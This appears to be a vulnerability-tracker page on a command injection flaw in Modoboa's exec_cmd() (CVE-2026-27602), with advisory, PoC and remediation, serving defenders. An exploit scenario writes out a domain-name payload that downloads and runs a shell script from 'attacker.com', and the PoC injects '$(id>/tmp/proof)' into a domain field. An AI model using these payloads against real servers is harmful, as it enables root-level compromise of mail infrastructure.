Skip to main content

Python EUVDEUVD-2026-15951

| CVE-2026-27602 HIGH
OS Command Injection (CWE-78)
2026-03-25 https://github.com/modoboa/modoboa GHSA-wwv8-cqpr-vx3m
7.2
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as Reseller/SuperAdmin
  2. Exploit
    Create domain with shell metacharacters in name
  3. Execution
    Domain name embedded in shell command
  4. Impact
    Execute arbitrary OS commands with server privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires authenticated access as Reseller or SuperAdmin role in Modoboa. Attacker must create or modify a domain with DKIM enabled, injecting shell metacharacters into the domain name field to execute arbitrary OS commands on the server.

Impact

The CVSS v3.1 score of 7.2 (High) reflects the combination of network-based attack vector (AV:N) with low complexity (AC:L) but requires high privileges (PR:H). While the technical impact is severe (complete compromise with root execution in typical deployments), the practical risk is somewhat mitigated by the authentication requirement—attackers need Reseller or SuperAdmin credentials to reach the vulnerable code paths. The availability of a working proof-of-concept demonstrating command execution via malicious domain names significantly elevates exploitation likelihood. However, the high privilege requirement means this is not mass-exploitable and would more likely be used in targeted attacks against specific Modoboa installations, privilege escalation scenarios where an attacker has already compromised lower-privileged accounts, or supply chain attacks. The SSVC framework would classify this as having high technical impact but lower automatable exploitation due to the authentication barrier. Organizations running Modoboa should prioritize patching, particularly those with untrusted Reseller accounts or exposed administrative interfaces, though the vulnerability does not represent the same urgency as unauthenticated remote code execution flaws.

Exploit ScenarioDerived

An attacker who has compromised Reseller credentials (through phishing, credential reuse, or insider threat) logs into the Modoboa web interface and creates a new domain with DKIM signing enabled. Instead of a legitimate domain name, they enter a malicious payload such as $(wget http://attacker.com/shell.sh -O /tmp/x && bash /tmp/x).example.com. When Modoboa processes the domain creation request and attempts to generate DKIM keys using openssl, the shell interprets the command substitution syntax, downloads and executes the attacker's backdoor script with the privileges of the Modoboa process (typically root in standard installations), granting complete control over the mail server infrastructure.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 25, 2026

Modoboa, an open-source mail server management platform, contains a command injection vulnerability in its subprocess execution handler that allows authenticated Reseller or SuperAdmin users to execute arbitrary operating system commands. A proof-of-concept exploit exists demonstrating how shell metacharacters in domain names can achieve code execution, typically as root in standard deployments. The vulnerability affects modoboa versions up to and including 2.7.0, with patches available in version 2.7.1.

RemediationAI

Upgrade Modoboa to version 2.7.1 or later, which addresses the command injection vulnerability through proper input sanitization and safer subprocess invocation patterns. The fix commit is available at https://github.com/modoboa/modoboa/commit/27a7aa133d3608fe8c25ae39125d1012c333cbfa and the patched release can be obtained from https://github.com/modoboa/modoboa/releases/tag/2.7.1. Organizations unable to immediately upgrade should implement compensating controls including restricting Reseller and SuperAdmin account creation to only highly trusted administrators, implementing additional input validation at the web application firewall layer to block domain names containing shell metacharacters, auditing existing domain names for suspicious patterns, and monitoring system logs for unexpected process executions from the Modoboa application context. Network segmentation limiting the mail server's ability to initiate outbound connections can also reduce post-exploitation impact.

Affected VersionsENISA

modoboa < 2.7.1

Affected Packages

pypi modoboa fix: 2.7.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability stems from CWE-78 (OS Command Injection) in the exec_cmd() function within modoboa/lib/sysutils.py, which unconditionally sets shell=True when invoking subprocess.Popen(). The affected product is identified by CPE pkg:pip/modoboa. Multiple code paths pass unsanitized user-controlled data (domain names, email addresses, mailbox names) directly into shell command strings that invoke external utilities including openssl (for DKIM key generation), mv (mailbox operations), sa-learn (spam filtering via Amavis), doveadm (Dovecot administration), and rrdtool (logging graphics). When shell=True is enabled, subprocess executes commands through /bin/sh, allowing shell metacharacters like $(), backticks, semicolons, and pipes to break out of the intended command context and execute arbitrary code. Six distinct injection points have been identified across the codebase, all sharing the same root cause of shell-enabled subprocess calls combined with missing input validation.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 7.2 HIGH
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch released
Mar 25, 2026 - 17:17 nvd
Patch available
CVE Published
Mar 25, 2026 - 17:03 nvd
HIGH 7.2

DescriptionGitHub Advisory

Summary

exec_cmd() in modoboa/lib/sysutils.py always runs subprocess calls with shell=True. Since domain names flow directly into shell command strings without any sanitization, a Reseller or SuperAdmin can include shell metacharacters in a domain name to run arbitrary OS commands on the server.

Details

The root cause is in modoboa/lib/sysutils.py:31:

python
kwargs["shell"] = True
process = subprocess.Popen(cmd, **kwargs)

When a create a domain is created with DKIM enabled, the domain name gets embedded into a shell command like this:

python
exec_cmd(f"openssl genrsa -out {dkim_storage_dir}/{domain.name}.pem {key_size}")

If the domain name contains something like $(id>/tmp/proof).example.com, the shell executes the injected command before running openssl.

The same pattern appears in several other places:

  • modoboa/admin/jobs.py:38 - mailbox rename via mv using full_address
  • modoboa/amavis/lib.py:202 - sa-learn using domain.name
  • modoboa/admin/models/mailbox.py:150 - doveadm user using full_address
  • modoboa/maillog/graphics.py:105-107 - rrdtool using domain.name
  • modoboa/webmail/models.py:54-57 - doveadm move/delete using account.email

PoC

  1. Deploy modoboa <= 2.7.0
  2. Log in as a Reseller or SuperAdmin
  3. Create a new domain named $(id>/tmp/proof).example.com with DKIM enabled
  4. SSH into the server and read /tmp/proof

Something like this will be displayed:

uid=0(root) gid=0(root) groups=0(root)

Confirmed on commit b521bcb4f (latest main at time of discovery).

Impact

An attacker with Reseller-level access (or higher) can execute arbitrary OS commands on the mail server - in a typical Modoboa deployment this means running as root. All six identified sinks are reachable through normal application workflows.

Executive ViewAI

Why It Matters

Modoboa mail server installations are vulnerable to command injection attacks by authenticated administrative users, potentially allowing attackers with reseller or superadmin credentials to gain root-level system access. Organizations running Modoboa versions 2.7.0 or earlier face immediate risk of complete infrastructure compromise if credentials are compromised or insider threats exist.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Data Quality
5 sources
Confidence: Medium
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy